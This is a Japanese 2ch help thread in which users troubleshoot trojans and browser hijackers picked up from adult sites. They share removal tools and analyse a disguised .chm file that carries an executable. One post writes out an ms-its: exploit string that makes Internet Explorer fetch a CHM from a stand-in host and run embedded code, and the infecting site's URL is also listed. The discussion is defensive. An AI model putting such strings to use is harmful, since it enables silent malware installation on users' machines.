エロサイト見たら…助けてください！Part31

>>831
バカだから
全部のすっぱいウェアをインストールされたのなら、レジストリの変更ヶ所は10000以上だから、修復不能。
さっさとシステムの復元せい。

＞８３２
分かりましたとりあえず試してみます。
＞８３４
そうなんですか？修復不可能とは困りました

私も>>831と同じアドレスを開いてしまいました。
2〜3日前に開いてしまい、システムの復元をして
その時はなんとか元に戻ったのですが
昨日Norton AntiVirusに「Trojan Horseに感染しています。
ファイルを修復出来ません。」と出ました。
ウィルス定義の更新をしましたが修復できません。
昨日からウィルス総合板やこちらのスレを見ているのですが
もうどうしたら良いかわかりません。助けてください。

とりあえずテンプレ見れ

>836

トレンドマイクロ　ウイルスデータベース
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/
で調べてみてはどうか。個別のウィルス対策法がのってる。
手動で削除しないといけないのがあるかも。
たぶんレジストリを書き換える必要が出てくるので、学習して慎重に

>>836
Trojan(トロイ)は、独立したプログラムだから修復できないのは、あたりまえ。
削除するしかない。
ファイル名が分かっているのならセーフモードで起動して、手動で削除。
改ざんされたレジストリも手動で治さなければいけない場合もある。

>>817〜>>819
この解決法は、初めて見たような気がするのですが、どこかで
告知した方がよくないですかね。
about:blankタイプ、変種が出てより悪質化しているような感じですね。
テンプレに書いてある方法だけでは駆除しきれない。
うちのがやられたときに、コンピュータの検索自体が効かなくなって
コンピュータの中にあるファイル名が一切調べられなくなって
大弱りでした。
あとからウィルス対策ソフトを導入した場合、
ウィルス検索から身を隠すタイプのがあるらしく、特定できない
しかけのもあるみたいですし。

今の所、SpywareGuardからの警告も無く順調に稼動しています。

今読み返すと、潜んでいた元凶ファイルを発見した嬉しさと、寝不足と、色々助言して
頂いた方に早く結果報告をしたいとの思いやらで、まとまりの無い文章になってますね。
元凶が1.html やon-line.exe が隠匿されているファイルと分かった今ならCHM Encoderを
使わなくてもバイナリエディタで覗けば、確認できます。
http://age.tubo.80.kg/age01/img-box/img20040714003503.jpg

先程、about:blank search for…で困っている友人に連絡してファイルを送ってもらい検証
してみました。（因みに、私はWindows2000友人はWindows98se）
送ってもらったファイルの条件は、私の所に居た元凶ファイルの条件に当てはまるものにしました。

　１．Ｃドライブのrootにあるファイル（限定しない方がよかったかもしれない）
　２．拡張子が、chm
　３．サイズが30kb前後
（今回は条件に出しませんでしたが、ダブルクリックしても真っ白なHELPファイルしか出ない）
以上の条件に当てはまるファイルとして、tttxxsp.chm （私の時のファイル名はrootxsp.chm）が
送られて来ました。今回は、バイナリエディタでファイルを覗いただけですが、1.html とon-line.exeが
確認されました。

まだ、検証した数が2つですが何度スパイウエア対策ソフトで削除してもbout:blank search for…が
再現される方は、上記の条件に合うファイルが無いか確認してみてください。
色々な方の報告があれば、ある程度対策法を絞れるんじゃないかと思います。
他にも違う種類の物が多種有ると思いますが、少しでも参考に成れば幸いです。

>>841
本家のサイトに情報提示してみてはいかがだろうか。

【アダルトサイト被害対策の部屋】
ttp://higaitaisaku.web.infoseek.co.jp/index.html

ここの情報専用掲示板やゲストブックと雑談などで、
情報提供すればかなり有益に扱ってもらえる可能性がある。
無理にとはいわないが。

>>840　とりあえず755氏のレポートの要点を整理してみた。

■about:blank search for…の元凶はコンパイル済みヘルプファイル

このURLを踏んで感染した
http://　hyper10.amuser-net.ne.jp/~　auto/b3/usr/azumi/brd1/bbs.ｃgｉ

ANTIDOTE for PC Antivirus SuperLiteを下記からダウンロード
http://www.vintage-solutions.com/Japanese/Antivirus/Super/index.html
インストールしてスキャン実行する。rootxsp.chm が懐疑ファイルとしてピック
アップされた。地雷を踏んだ時間と一致。このファイルはコンパイル済みヘルプ
ファイル形式だが、ダブルクリックしても空白のhelp画面が表示されるだけ。

CHM Encoder (CHMファイルをHTML形式のソースファイルに変換するツール)
http://www.gridinsoft.com/　を利用して問題のrootxsp.chmを変換すると、
#IDXHDR、#ITBITS、#STRINGS、#SYSTEM、#TOPICS、#URLSTR、#URLTBL、
1.htm、on-line.exe　以上９個のファイルが現れた。

エディタで内容を見ると、1.html は、on-line.exe を起動させるためのスクリプト
ファイルらしい。on-line.exe を直接起動させてみる。SpywareGuardが、レジストリの
書き換えを警告。system32に新たにdllファイルが出来ている。よってrootxsp.chmが
元凶ファイルと確定。

元凶ファイルとsystem32（2000、NT）system（9ｘ系）のdllファイルとtempのsp.htmlを
削除。3大定番駆除ツールで駆除し、webの設定のリセット、しばらく様子を見る
(dllのファイル名は、Search forのソースから追跡　>>9 参照)

実際は自分で感染してみないと分からないけど、
rootxsp.chmはなんらかのANTIDOTEに反応したということは、
何らかのスキャンで反応する可能性がある。

特に大事なのはここかな
　１．Ｃドライブのrootにあるファイル（限定しない方がよかったかもしれない）
　２．拡張子が、chm　←　ファイル名はランダムか？
　３．サイズが30kb前後

今回のはchmが偽装したDL系トロイということになるのだが、
問題はHijackThisに現れていないためにどのタイミングで発祥するかが、掴めていないということ。
それが掴めてレジストリのどの値を使って起動(スパイの呼び込み)するかまで分かれば、
もっと確実で簡単な治療方法が見つかるかもしれない。

>>844　(誤字訂正)
×rootxsp.chmはなんらかのANTIDOTEに反応したということは、
○rootxsp.chmがANTIDOTEに反応したということは、

申し訳ない・・・○|￣|＿

.chmは.htmlをコンパイルしたもので、ActiveXが有効になってれば、
html同様ファイルを実行してしまう。
.exeを内部に組み込めるから、別にダウンロードする必要がない。
でも、なんでHijackThisに現れないんだろ。

同人誌サイト見てから急にエロサイトからのメールがくる様になったんですが、
エロサイト見ただけでアドレスって知られるもんなんですか？

>>847
わかる。
ファイヤウォールソフトぐらい入れとけ。

>755
さんが 初心者レベルのスキルの人でなかったのが 幸いしましたね。
たぶん自分が感染したのも同じタイプ。
テンプレの方法全部試したつもりなのに 解決できずじまい
この情報がもっとはやくわかってたら
リカバリーせずに すんだかも○|￣|＿

>>848
じゃあ今来ているメールが来ないようにするにはどうすればいいんですか？

>>850
メッセージルールで削除、アンチSpamツールで削除、メールアドレス変更

>>842
そうですね、【アダルトサイト被害対策の部屋】には色々とお世話に
成ったので、後で報告しておきます。

>>843
まとめ、有難うございます。
使わせていただきます。

>>844
知人が先に感染していたんですが、私自身が実際に感染するまで、
何で駆除しても再発するんだろうと思っていました。
chmファイルをダブルクリックしても、真っ白なHELPファイルが出現するだけで、
on-line.exe は展開されません、本当に何に反応してどのタイミングで発動する
のだろうか、不思議です。

>>846
そうなんですか、巧く仕込まれているんですね

>>851
ありがとうございます。
メッセージルールってのはよく分からないけど、まとめ見て何とかして見ます。
もし出来なかったらファイヤーオールとウイルスバスターのメールセキュリティ「高」だけじゃ駄目でしょうか？

あとアドレス知られただけで変な請求書とか来ないですよね？

>>853
それじゃ、メールの自動削除はできん。

請求メールは来るだろ。無視すればいいだけ。

>>853
請求が来たらなんでもほいほい払っちまうのかよ。万一インチキ
請求が来たって払うな。お前のようなヘタレはここ良く読んで被害者
にならんようにしろ
【Mail･葉書】総合スレッドPart�W【架空請求】
http://that3.2ch.net/test/read.cgi/bouhan/1086362147/

>>854,855
どうもです。
俺、心配性だから請求メール来たらどうしようとかなりｶﾞｸﾌﾞﾙしてました。
皆さんはそんなメール来た事あるんですか？

あと最後に一つだけ質問させて下さい。メッセージルールの削除ってどうやるんですか？

>>856
検索したか？

すいませんしていませんでした。
明日試験があるので明日また質問させてもらいます。

>>858
何の試験よ？

♪ひ〜とみ〜をと〜じて〜　き〜みを〜えが〜くよ〜

【助けてください！】エロサイト見たら…助けてください！Part31【助けてください!!】
http://pc6.2ch.net/test/read.cgi/pcqa/1088914336/l50

そ〜れ〜だ〜けで〜　い〜いぃ〜♪

困ってる人をﾆﾔﾆﾔしにきましたﾖﾛｼｸ

いつからか、ttp://searchportal.info/　という検索サイトがホームに勝手に
登録されるようになって、エロいサイトが勝手に出てきたりする
ようにもなってしまいました・・。
Ad-aware 6、CWShredder、Spybot、norton 2002 など、いろいろな
アンチウイルスで調べ、クッキー＆ファイルの削除、wab設定のリセット、
履歴のクリアもしましたが、まったく取り除くことができません。
どうしてもわかりません、なにか他に方法はないのでしょうか？

>>862
氏ねﾊﾞｰｶ

>>862
ページ見てきた。新しいタイプのCWS?かな。
システムの復元をしてみる。それで治らなかったら正直対処法がわからない。
Home Search Assistentと関係がある模様。すごく厄介。
資料が少ないが取り合えず調べみた。

CWS.Yexe.2(ログを見ると次の症状もでているようだ)
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/ht/database.cgi?cmd=dp&num=233

ttp://searchportal.infoから戻らない！（質問掲示板より)
ttp://www.google.co.jp/search?q=cache:U5MkP_OWqy8J:higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi%3Fmode%3Dres%26namber%3D30665%26page%3D%26no%3D0+searchportal&hl=ja&lr=lang_ja&inlang=ja

それとSearch forをしらみつぶしにあたってみた方がいいかも知れない。
とりあえず>>843の方法は効くかどうか分からないが試してみるべし。

ギコナビ使ってたらVBS.Internal ってウイルスに感染しました。
放置で大丈夫って聞いたんですけど本当ですか？

>>865
まぁ、本当だよ。

先程、【アダルトサイト被害対策の部屋】の掲示板に報告してきました。
助言を頂いた皆様、本当に有難うございました。

ありがとうございます。
ウイルススキャンをしても何も引っかからないし
↓ここで症状を調べたんですけど理解できずびびってました。
ttp://www.symantec.co.jp/region/jp/sarcj/data/v/vbs.internal.html
ちなみにまだ感染中なんですか？

>>868
だから、感染なんかしてないんだって。

ノートン 誤反応

辺りで検索してみろよ。

>>868
ノートンがvbsウィルスのソースに誤反応２
http://pc6.2ch.net/test/read.cgi/pcqa/1033948204/

>>869
>>868
ありがとうございます。
理解できました。

８７０さんでした。失礼しました。

>>755さん，驚異的に乙です。

私見ですが，on-line.exe の発動は chm をダウンロードした瞬間の一度のみと思います。
ms-its: スキーム脆弱性を狙う攻撃者は
　ms-its:mhtml:file://c:\no_such_file.mht!http://example.net/spy.chm::/danger.htm
このようなコードをIEに読ませます。するとここでは spy.chm がダウンロードされ
danger.htm が開かれる，というからくりですね。
danger.htm の中には <object ...> なんてタグがあり，on-line.exe が実行されます。

chm をダブルクリックしても何も起きなかったのは，おそらく「chm内で最初に表示するページ」が
設定されていないため……かなあ？
要するにダブルクリックで spy.chm を開いた場合，別に danger.htm を開けとは指示を受けていないため
何も起こらなかった，と考えるのが妥当かなと。

# 自分で chm を作って実験していますが，全然うまくいかないし (；´Д`) 対処済みだったっけ……

ホームがres://dpctu.dll/index.html#96676というページに固定されるようになったので、
>>5の(a)まで試みたのですが直りません。最新のCWShredderを使用しても、
Your sistem was completely clean.と表示されます。
(b)(c)にはThe page cannot be displayedと表示され行くことができませんでした。
あとメモ帳が起動できないのではなく、起動できてしばらくして自動的に閉じます。
どうすれば直りますか？XPです。

>>859
予備校の試験です。
昨日メッセージルール適用して
アンチスパイウェアを掛けたら　1　4　0　個　も見つかってかなり凹んだ。

しかもActivXエロサイト関係のやつが３つもダウソしてるし・・・
本当に申し訳ない質問なんですが、
ActivXってADSLならダウンロードしても国際電話やＱ２には掛からないですよね？

>>874
Home Search Assistent
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/ht/database.cgi?cmd=dp&num=217

治療法はほとんどない。システム復元にかけよう。
また、自力で治療したいなら下のサイトの方がいいかも。

【アダルトサイト被害対策の部屋】
ttp://higaitaisaku.web.infoseek.co.jp/index.html

掲示板で質問する場合は、下をよく熟読しそのサイト様に
迷惑のないようにお願いします。
ttp://higaitaisaku.web.infoseek.co.jp/caution.html

>>875
かからない。
勝手に個人情報を送るだけ。

>>875
ＡＤＳＬなら、 国際電話やＱ２につながりません。

>>876
ありがとうございます。システム復元はポイントが無く出来ないようなので、
自力で直すしか無いみたいです。これからやってみます。

■Opera最新版7.52日本語版
　javaあり ftp://ftp.opera.com/pub/opera/win/752/ja/java/ow32jaja752j.exe
　javaなし ftp://ftp.opera.com/pub/opera/win/752/ja/std/ow32jaja752.exe
　（通常のユーザーにはjavaなしを推奨）

　使い方解説サイト「Opera.html」　http://www.geocities.jp/masayacom/

■Mozilla Firefox 最新日本語版　0.9.2
　 Mozilla 日本語ローカライズ版リンク集
　 http://level.s69.xrea.com/mozilla/jp.html#Firefox
　 このサイト↑にファイル本体、インストール方法などのリンク一式が登録され
　 ている。「Windows版インストーラ付き」をダウンロードして実行　（↓参考）
　 http://　prdownloads.sourceforge.net/jlpmoz/FirefoxSetup-0.9.2-jaJP.exe?download

■Opera最新版7.52日本語版
　javaあり ftp://ftp.opera.com/pub/opera/win/752/ja/java/ow32jaja752j.exe
　javaなし ftp://ftp.opera.com/pub/opera/win/752/ja/std/ow32jaja752.exe
　（通常のユーザーにはjavaなしを推奨）

　使い方解説サイト「Opera.html」　http://www.geocities.jp/masayacom/

■Mozilla Firefox 最新日本語版　0.9.2
　 Mozilla 日本語ローカライズ版リンク集
　 http://level.s69.xrea.com/mozilla/jp.html#Firefox
　 このサイト↑にファイル本体、インストール方法などのリンク一式が登録され
　 ている。「Windows版インストーラ付き」をダウンロードして実行　（↓参考）
　 http://　prdownloads.sourceforge.net/jlpmoz/FirefoxSetup-0.9.2-jaJP.exe?download

DonutPからOperaに乗り換えようかな・・・

下記のアドレスからダウンロードできる。ふつうに使うだけならjavaなしを推奨。
インストーラや言語ファイルもあらかじめ日本語になっている。言語ファイル
を別にダウンロードする必要もなく簡単。

javaあり ftp://ftp.opera.com/pub/opera/win/752/ja/java/ow32jaja752j.exe
javaなし ftp://ftp.opera.com/pub/opera/win/752/ja/std/ow32jaja752.exe

（>>403のミラーサイトにあるのと同一ファイル
　http://public.planetmirror.com/pub/opera/win/752/ja/）

この日本語版、Opera社のサイトに置いてあるんだから、公式版なんだろうが、
本社の玄関 http://www.opera.com/　から入ってもまだ見当たらない。